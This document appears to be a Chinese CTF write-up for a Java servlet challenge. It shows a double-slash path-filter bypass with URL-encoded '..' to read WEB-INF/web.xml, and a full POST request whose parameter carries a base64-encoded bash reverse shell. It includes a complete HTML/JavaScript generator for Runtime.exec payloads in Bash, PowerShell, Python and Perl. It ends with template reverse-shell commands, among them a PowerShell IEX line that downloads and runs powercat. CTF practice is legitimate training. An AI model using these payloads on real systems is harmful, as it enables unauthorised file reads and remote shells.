直接通过 getRequestURI() 得到的 url 路径存在一些问题, 比如不会自动 urldecode, 也不会进行标准化 (去除多余的 / 和 ..)

这里 .. 被过滤了, 所以直接访问 //download 就能绕过, 后面目录穿越下载文件的时候可以将 .. 进行一次 url 编码

//download?filename=%2e%2e/WEB-INF/web.xml

POST /You_Find_This_Evil_Servlet_a76f02cb8422 HTTP/1.1
Host: 127.0.0.1:50042
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 143

Evil_Cmd_Arguments_fe37627fed78=bash+-c+{echo,YmFzaCAtaSA%2bJiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA%2bJjE%3d}|{base64,-d}|{bash,-i}

反弹shell
这里首先得注意传入 Runtime.exec 的命令需要进行一次编码

归根结底是因为 java.lang.Runtime#exec 中 StringTokenizer 会将空格进行分隔，导致原本命令执行的语义发生了变化，利用数组和编码可以成功执行命令。

<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>java.lang.Runtime.exec() Payload</title>

</head><body><h1>java.lang.Runtime.exec() Payload</h1>
<input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked=""><label for="bash">Bash</label>
<input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label>
<input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label>
<input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label><p></p>
<p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type input here..."></textarea>
<textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly=""></textarea></p>
<script>
  var taInput = document.querySelector('textarea#input');
  var taOutput = document.querySelector('textarea#output');

  function processInput() {
    var option = document.querySelector('input[name="option"]:checked').value;

    switch (option) {
      case 'bash':
        taInput.placeholder = 'Type Bash here...'
        taOutput.value = 'bash -c {echo,' + btoa(taInput.value) + '}|{base64,-d}|{bash,-i}';
        break;
      case 'powershell':
        taInput.placeholder = 'Type PowerShell here...'
        poshInput = ''
        for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value[i] + unescape("%00"); }
        taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput);
        break;
      case 'python':
        taInput.placeholder = 'Type Python here...'
        taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))";
        break;
      case 'perl':
        taInput.placeholder = 'Type Perl here...'
        taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))";
        break;
      default:
        taOutput.value = ''
    }

    if (!taInput.value) taOutput.value = '';
  }

  taInput.addEventListener('input', processInput, false);
</script>

<b>Bash反弹命令：</b>
<p style="color:red;">bash -i &gt;&amp; /dev/tcp/IP/端口 0&gt;&amp;1</p>
<br>
<b>PowerShell反弹命令：</b>
<p style="color:red;">powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c IP -p 端口 -e cmd</p>
<br>
<br>
<br>
</body></html>

可以自己搭建